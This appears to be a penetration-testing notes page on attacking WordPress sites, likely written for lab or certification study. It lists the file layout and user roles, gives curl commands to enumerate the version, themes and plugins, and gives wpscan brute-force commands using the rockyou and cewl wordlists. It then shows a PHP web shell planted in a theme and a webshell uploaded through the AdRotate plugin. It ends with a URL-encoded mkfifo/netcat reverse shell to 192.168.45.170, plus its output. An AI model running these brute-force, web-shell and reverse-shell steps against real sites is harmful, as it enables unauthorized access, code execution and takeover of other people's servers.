WordPress

General

# Web root
/wp-admin
    admin.php
/wp-content
    /themes
    /plugins
/wp-includes
index.php
license.txt
readme.html
wp-activate.php
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-cron.php
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
.htaccess
wp-config.php # database info
Wordlists
Roles & Permissions

Administrator -> King 👑

Editor -> Post management + publish (for all users)

Author -> Post management + publish (owned posts)

Contributor -> Post management (owned posts)

Subscriber -> Browse posts, manage its own profile

Enumeration

# Version
curl -s example.com | grep '<meta name="generator"'

# Themes
curl -s example.com | grep themes

# Plugins
curl -s example.com | grep plugins

# Plugin version (requires Directory listing to be enabled)
curl -s example.com/wp-content/plugins/mail-masta/readme.txt | grep "Stable tag:"

Attacks

BFA

wp-login.php is the standard login form that accepts one login attempt per request. xmlrpc.php allows login via API calls and can bundle many attempts in one request, making brute-force faster. Even if wpscan outputs that XML-RPC is enabled, login-related methods may be blocked by plugins or server settings, so attacks through it can fail while wp-login attacks still work.

WPScan uses 2 kinds of BFA:

  1. xmlrpc → uses WP's API to BF (xmlrpc.php) (faster)

  2. wp-login → attempts to BF wp-login.php

# Enumerating users and brute-forcing
sudo wpscan --url example.com -e u --passwords password.lst

# Targeted BFA using xmlrpc
sudo wpscan --password-attack xmlrpc -t 20 --url http://example.com -U roger -P /usr/share/wordlists/rockyou

# Targeted BFA using wp-login
sudo wpscan --password-attack wp-login -t 20 --url http://example.com -U james -P cewl_tokens.txt

RCE

Modify an inactive theme (for avoiding breaking the site) by inserting a PHP web shell:

<?php system($_GET['c']); ?>
Step for RCE after gaining admin access.

Interact with the shell via CLI.

curl http://example.com/wp-content/themes/twentytwenty/404.php?c=id

The same exact method can be done with Plugins:

Plugins

The AdRotate plugin is an advertising management tool that enables administrators to create, schedule, and track ads across posts, pages, and widgets. It supports self-hosted and network ads, uses shortcodes for placement, and provides performance metrics.

$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
$ zip -r webshell.zip shell.php
# RCE
$ curl --path-as-is "http://wp-instance/wordpress/wp-content/banners/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Reverse shell
$ curl --path-as-is "http://wp-instance/wordpress/wp-content/banners/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20192.168.45.170%2080%20%3E%2Ftmp%2Ff" --proxy 127.0.0.1:8080

Last updated

Was this helpful?